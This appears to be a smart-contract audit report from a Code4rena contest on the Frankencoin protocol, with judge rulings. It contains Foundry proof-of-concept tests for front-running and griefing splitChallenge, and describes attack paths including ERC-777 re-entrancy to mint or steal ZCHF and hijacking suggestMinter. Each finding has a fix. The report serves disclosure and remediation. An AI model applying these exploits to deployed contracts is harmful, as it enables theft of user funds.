function testFrontrunSplitChallenge() public { // Create a "minter" to distribute zchf tokens and set up the environment User minter = new User(zchf); minter.obtainFrankencoins(swap, 1_000_000 ether); minter.transfer(zchf, address(this), 1000 ether); minter.transfer(zchf, address(alice), 1000 ether); // Open the position col.mint(address(this), 100); col.approve(address(hub), 100); address posAddr = hub.openPosition(address(col), 0, 100, 2 ** 255, 3 days, 0, 1, 0, 1 ether, 0); // Wait until the cooldown is off skip(7 * 86_400 + 60); // Bob opens a challenge col.mint(address(bob), 1300); uint256 challengeSize = 300; uint256 challengeNumber = bob.challenge(hub, posAddr, challengeSize); // Bob frontruns other transactions // Bob is able to split the challenge with the same challengeSize before other users call it vm.prank(address(bob)); uint256 secondChallengeNumber = hub.splitChallenge(challengeNumber, challengeSize); // Alice is not able to split the challenge with a lower size because of the frontrunning vm.expectRevert(); // Unexpected error because of a division by zero vm.prank(address(alice)); hub.splitChallenge(challengeNumber, challengeSize / 2); // Alice is not able to bid on the challenge vm.prank(address(alice)); vm.expectRevert(0x8d343e37); // "Unexpected size" error hub.bid(challengeNumber, 1, 300); // Skip 1 block to be able to end the challenge skip(7 * 86_400 + 60 + 1); // Bob frontruns the end transaction // Bob is able to split the challenge with the same challengeSize before other users call it vm.prank(address(bob)); uint256 latestChallenge = hub.splitChallenge(secondChallengeNumber, challengeSize); // Alice will end the second challenge, that now has size = 0 // That leaves the latestChallenge not ended, which holds the full original size vm.prank(address(alice)); hub.end(secondChallengeNumber); }
Enforce a minimum challengePeriod
when creating a new position of at least some considerable amount of time.
Enforce a minimum value for minimumCollateral
when creating a new position, based on a percentage of the initial collateral and an absolute number > 0.
Enforce minimum and maximum values for every other position attributes.
Consider creating a whitelist for collateral tokens.
#0 - c4-pre-sort
2023-04-21T08:40:04Z
0xA5DF marked the issue as primary issue
#1 - c4-pre-sort
2023-04-28T17:04:30Z
0xA5DF marked the issue as duplicate of #458
#2 - 0xA5DF
2023-04-28T17:05:23Z
Contains also a dupe of #331 TODO
#3 - c4-judge
2023-05-18T14:36:02Z
hansfriese marked the issue as satisfactory
🌟 Selected for report: decade
Also found by: 0x3b, 0xDACA, 0xWaitress, 0xWeiss, 0xkaju, Arz, Aymen0909, BPZ, EloiManuel, HaCk0, J4de, Jerry0x, Jiamin, John, Juntao, Kek, Lalanda, MiloTruck, Mukund, PNS, RedTiger, Ruhum, Satyam_Sharma, ToonVH, Tricko, Udsen, ak1, anodaram, bin2chen, carrotsmuggler, cccz, circlelooper, deadrxsezzz, giovannidisiena, jasonxiale, joestakey, juancito, karanctf, kenta, kodyvim, ladboy233, lil_eth, lukino, markus_ether, marwen, mrpathfindr, nobody2018, parlayan_yildizlar_takimi, peakbolt, ravikiranweb3, rbserver, rvierdiiev, silviaxyz, volodya, zhuXKET, zzebra83
0.0748 USDC - $0.07
Judge has assessed an item in Issue #597 as 2 risk. The relevant finding follows:
L4
#0 - c4-judge
2023-05-20T16:20:59Z
hansfriese marked the issue as duplicate of #941
#1 - c4-judge
2023-05-20T16:21:15Z
hansfriese marked the issue as satisfactory
33.835 USDC - $33.83
Judge has assessed an item in Issue #597 as 2 risk. The relevant finding follows:
L9
#0 - c4-judge
2023-05-20T16:22:26Z
hansfriese marked the issue as duplicate of #230
#1 - c4-judge
2023-05-20T16:22:31Z
hansfriese marked the issue as satisfactory
🌟 Selected for report: juancito
Also found by: 0xAgro, 0xNorman, 0xSmartContract, 0xStalin, 0xTheC0der, 0xWaitress, 0xhacksmithh, 0xnev, 3dgeville, 8olidity, Arz, Aymen0909, BGSecurity, BRONZEDISC, Bauchibred, Bauer, BenRai, ChainHunters, ChrisTina, CodeFoxInc, DedOhWale, DishWasher, EloiManuel, IceBear, Inspex, Jorgect, Kaysoft, LeoGold, LewisBroadhurst, Madalad, MiloTruck, MohammedRizwan, Nyx, Polaris_tow, RaymondFam, SaharDevep, SanketKogekar, Sathish9098, SolidityATL, Udsen, W0RR1O, aria, ayden, berlin-101, bin2chen, catellatech, codeslide, crc32, decade, descharre, evmboi32, eyexploit, fatherOfBlocks, georgits, giovannidisiena, joestakey, karanctf, kodyvim, ltyu, lukris02, m9800, matrix_0wl, mov, mrpathfindr, nadin, niser93, p0wd3r, parlayan_yildizlar_takimi, pavankv, pontifex, qpzm, ravikiranweb3, rbserver, santipu_, shealtielanz, slvDev, tnevler, wonjun, xmxanuel, yixxas
602.8693 USDC - $602.87
• [LOW-1] Frontrunning suggestMinter may lead to stolen funds
• [LOW-2] Not validating MIN_APPLICATION_PERIOD can lead to stolen funds
• [LOW-3] MIN_HOLDING_DURATION will not hold a correct value if deployed on other network
• [LOW-4] restructureCapTable()
only wipes out the first address on the list
• [LOW-5] Positions should be expired when block.timestamp = expiration
• [LOW-6] No pause mechanism in case of depeg of XCHF token
• [LOW-7] Tokens with very large decimals will not work as expected
• [LOW-8] minBid can be bypassed to bid indefinitely for small amounts
• [LOW-9] No way to transfer minter role or rennounce to it
• [LOW-10] ERC-777 tokens can lead to re-entrancy vulnerabilities
• [LOW-11] Challenges can be split after they end
Frankencoin::suggestMinter
does not validate _applicationPeriod
and _applicationFee
when totalSupply()
is 0
This can be useful for the admins to create the first minter.
Nevertheless the function can be called by anyone until some tokens are minted.
In the worst scenario the admins can deploy all contracts. Send funds to the StablecoinBridge
, and then decide to suggest the first minter and mint some coins.
An attacker can call suggestMinter
as soon as the contracts are created and some funds are sent to burn them and retrieve the paired stable coin provided by the bridge.
On a less dramatic scenario anyone can frontrun the suggestMinter
function, which will create a new minter for the attacker. This will result in the contracts having to be re-deployed.
Frankencoin::suggestMinter
does not validate _applicationPeriod
and _applicationFee
when totalSupply()
is 0
:
if (_applicationPeriod < MIN_APPLICATION_PERIOD && totalSupply() > 0) revert PeriodTooShort(); if (_applicationFee < MIN_FEE && totalSupply() > 0) revert FeeTooLow();
Add some admin permission to assign the first minter, or deploy everything through a deployer contract, and call suggestMinter
in it, so that it cannot be front-runned.
MIN_APPLICATION_PERIOD
is defined on the Frankencoin
constructor and is immutable. In case the contracts are deployed with _minApplicationPeriod = 0
, an attacker can become a minter, burn the token and steal assets on other contracts like the StablecoinBridge
.
constructor(uint256 _minApplicationPeriod) ERC20(18){ MIN_APPLICATION_PERIOD = _minApplicationPeriod; reserve = new Equity(this); }
Validate that the MIN_APPLICATION_PERIOD
is greater than some minimum value in the constructor.
MIN_HOLDING_DURATION
in Equity
is calculated assuming that it will be only deployed in Ethereum Mainnet, where each block is added every 12 seconds.
uint256 public constant MIN_HOLDING_DURATION = 90*7200 << BLOCK_TIME_RESOLUTION_BITS; // Set to 5 for local testing
That will not be true if the contract is deployed on other networks
Define MIN_HOLDING_DURATION
via a variable in the constructor, or add a comment on the code make clear this issue.
restructureCapTable()
only wipes out the first address on the listThere is an error on the line address current = addressesToWipe[0];
. It is always wiping out addressesToWipe[0]
, instead of addressesToWipe[i]
.
If not double-checked, this could lead to not wiping out the expected users. It is still possible to mitigate it by wiping out users one by one.
function restructureCapTable(address[] calldata helpers, address[] calldata addressesToWipe) public { require(zchf.equity() < MINIMUM_EQUITY); checkQualified(msg.sender, helpers); for (uint256 i = 0; i<addressesToWipe.length; i++){ address current = addressesToWipe[0]; // @audit _burn(current, balanceOf(current)); } }
Pass the iteration variable i
:
- address current = addressesToWipe[0]; + address current = addressesToWipe[i];
block.timestamp = expiration
The alive
modifier in Position
does not revert when block.timestamp == expiration
:
block.timestamp > expiration) revert Expired();
This by itself only allows positions to operate on that exact block, but if the noCooldown
modifier had the same issue, it could lead to exploits when all values are equal.
if (block.timestamp <= cooldown) revert Hot();
It was noticed that some changes to >
operatos have been performed when replacing require
statements with revert
statements.
It is important to check this subtle differences to prevent any issue.
On top of that, the tryAvertChallenge
already checks block.timestamp >= expiration
for expiration:
/** * @notice check whether challenge can be averted * @param _collateralAmount amount of collateral challenged (dec18) * @param _bidAmountZCHF bid amount in ZCHF (dec18) * @return true if challenge can be averted */ function tryAvertChallenge(uint256 _collateralAmount, uint256 _bidAmountZCHF) external onlyHub returns (bool) { if (block.timestamp >= expiration){
For code consistency, and to prevent any possible issues with the exact block of expiration:
- block.timestamp > expiration) revert Expired(); + block.timestamp >= expiration) revert Expired();
The system allows minting 1-1 FrankenCoin with the same amount of XCHF tokens. In the case the stable coin XCHF depegs from its value it will greatly affect the value of the FrankenCoin ZCHF token, as they can be redeemed immediately.
It should be up for consideration the implementation of a pause function on the StablecoinBridge to prevent minting tokens 1-1 in case of emergency.
Although not common, it is possible that ERC-20 tokens have decimals() > 36
. The current system acknowledges it, but does not prevent anyone from creating a position with them. This will result in the token not working as expected.
* @param _liqPrice Liquidation price with (36 - token decimals) decimals, * e.g. 18 decimals for an 18 decimal collateral, 36 decimals for a 0 decimal collateral.
Validate that tokens have < than 36 decimals or the desired value
MintingHub::minBid()
returns the same number as the challenge.bid
for small numbers:
function minBid(Challenge storage challenge) internal view returns (uint256) { return (challenge.bid * 1005) / 1000; }
For challenge.bid <= 199
, the result of minBid
is the same as the bid because of the precision loss error.
minBid
is used in the bid
function to check if the bid should be postponed:
if (_bidAmountZCHF < minBid(challenge)) revert BidTooLow(_bidAmountZCHF, minBid(challenge)); // @audit uint256 earliestEnd = block.timestamp + 30 minutes; if (earliestEnd >= challenge.end) { // bump remaining time like ebay does when last minute bids come in // An attacker trying to postpone the challenge forever must increase the bid by 0.5% // every 30 minutes, or double it every three days, making the attack hard to sustain // for a prolonged period of time. challenge.end = earliestEnd; }
Replace the <
with <=
. That way it will revert when the amounts are low enough to return the same number.
- if (_bidAmountZCHF < minBid(challenge)) revert BidTooLow(_bidAmountZCHF, minBid(challenge)); + if (_bidAmountZCHF <= minBid(challenge)) revert BidTooLow(_bidAmountZCHF, minBid(challenge));
Minters have a lot of power, and put the protocol at risk if their accounts could get compromised. But they have no way to opt-out if they think their opsec is not adequate at some point. This could also be useful in case there is some multi-sig minter for example.
Allow minters to rennounce to their roles.
Allow minters to "transfer" their minter role to another address.
Implementation should also take care of positions that were registered with those minters via registerPosition()
.
ERC-777 behave like ERC-20 tokens, but they make a callback when tokens are transfered.
Positions containing ERC-777 tokens as collateral may be victim of re-entrancy attacks.
The possible impacts are unrestricted minting of ZCHF tokens via end
, and stealing ZCHF tokens from the MintingHub
, both critical.
On top of that, some inconsistency on the positions' storage can be result of these unexpected behavior.
The actual impact relies on the minters
of the protocol allowing the possibility of using ERC-777 tokens as collateral or denying them.
These functions in the MintingHub
are suceptible to re-entrancy attacks. An attacker can perform them by first launching a challenge, and then calling the respected functions. As the bidder and challenger will be the same, the collateral will be transfered between attacker accounts.
end()
calls returnCollateral
early on the function, before the challenge
is deleted. So, it can be re-entered to mint extra tokens via zchf.notifyLoss
:
// returnCollateral() challenge.position.collateral().transfer(msg.sender, challenge.size);
bid()
can be re-entered when the bid is high enough to avert the challenge.
First, the attacker needs to have a previous bid, or the attacker can create one.
The attacker would then be able to steal the initial bid multiple times via the zchf.transfer(challenge.bidder, challenge.bid);
. Assets will be taken from the MintingHub
contract.
The re-entrancy can be executed by calling the function with a value big enough to avert the challenge:
// bid() challenge.position.collateral().transfer(challenge.challenger, challenge.size); // return the challenger's collateral
Add re-entrancy guards to functions that transfer collateral, and implement the Checks-Effects-Interaction pattern. Or disallow the use of ERC-777 tokens as collateral.
Griefing users by diving their already ended challenges
function testBidAfterEnd() public { Position position = Position(initPosition()); skip(7 * 86_400 + 60); User challenger = new User(zchf); col.mint(address(challenger), 1001); uint256 challengeNumber = challenger.challenge(hub, address(position), 1001); uint256 bidAmount = 1 ether; bob.obtainFrankencoins(swap, 1 ether); bob.bid(hub, challengeNumber, bidAmount); skip(7 * 86_400 + 60); vm.startPrank(address(alice)); hub.splitChallenge(challengeNumber, 500); // @audit hub.end(challengeNumber); // @audit vm.stopPrank(); }
Add if (block.timestamp >= challenge.end) revert TooLate();
to the splitChallenge
function
• [NC-1] No way to track challenges created by a user
• [NC-2] Equity tokens sent to oneself are processed to update votes
• [NC-3] Misleading comment about position start
value
• [NC-4] Rebasing tokens can lead to bad accountability of the positions
Challenges launched via the MintingHub are added to a general challenges
array.
But it will be troublesome to track all challenges created by a user as long as that array grows, especially considering that anyone can split challenges and make that array grow faster than expected.
Create a mapping that tracks the challenges launched by users, and also adds them when challenges are splitted.
Tokens sent are pre-processed in _beforeTokenTransfer
. The adjustRecipientVoteAnchor
and adjustTotalVotes
are called, where calculations for the user and the total votes are made.
In the current codebase it doesn't generate any issues, but any uncatched precision loss or some subtle changes to those calculations could be used to perform some exploit.
function _beforeTokenTransfer(address from, address to, uint256 amount) override internal { super._beforeTokenTransfer(from, to, amount); if (amount > 0){ // No need to adjust the sender votes. When they send out 10% of their shares, they also lose 10% of // their votes so everything falls nicely into place. // Recipient votes should stay the same, but grow faster in the future, requiring an adjustment of the anchor. uint256 roundingLoss = adjustRecipientVoteAnchor(to, amount); // The total also must be adjusted and kept accurate by taking into account the rounding error. adjustTotalVotes(from, amount, roundingLoss); } }
The current implementation makes the users sending the tokens lose the votes. This can be the expected behavior.
The following suggestions adds some safety to the function, but in exchange, it changes the original functionality. With this change, users will not lose votes if they send tokens to themselves:
function _beforeTokenTransfer(address from, address to, uint256 amount) override internal { super._beforeTokenTransfer(from, to, amount); - if (amount > 0){ + if (amount > 0 && from != to){ // No need to adjust the sender votes. When they send out 10% of their shares, they also lose 10% of // their votes so everything falls nicely into place. // Recipient votes should stay the same, but grow faster in the future, requiring an adjustment of the anchor. uint256 roundingLoss = adjustRecipientVoteAnchor(to, amount); // The total also must be adjusted and kept accurate by taking into account the rounding error. adjustTotalVotes(from, amount, roundingLoss); } }
start
valueThe code suggests that there is "one week" time to deny the position
start = block.timestamp + initPeriod; // one week time to deny the position
But some lines before it specifies 3 days
:
require(initPeriod >= 3 days); // must be at least three days, recommended to use higher values
Fix the comment or the required value
Rebasing tokens change the balanceOf
value of the accounts that hold their tokens.
Using rebasing tokens as collateral for positions can lead to positions minting more tokens than expected, or challenges created, averted or won with different amounts than expected.
I would suggest not allowing rebasing tokens to be used on the protocol.
#0 - c4-judge
2023-05-17T06:01:15Z
hansfriese marked the issue as selected for report
#1 - c4-judge
2023-05-18T05:54:56Z
hansfriese marked the issue as grade-a
#2 - hansfriese
2023-05-19T13:41:10Z
L1-L3: Valid L4: Duplicate of #941 L5-L8: Valid L9: Duplicate of #230 L10, L11, NC1: Valid NC2: Valid. It can be seen as a low risk when from = to. NC3: Valid. The documentation said 7 days during contest period, so this can be a low risk. NC4: Valid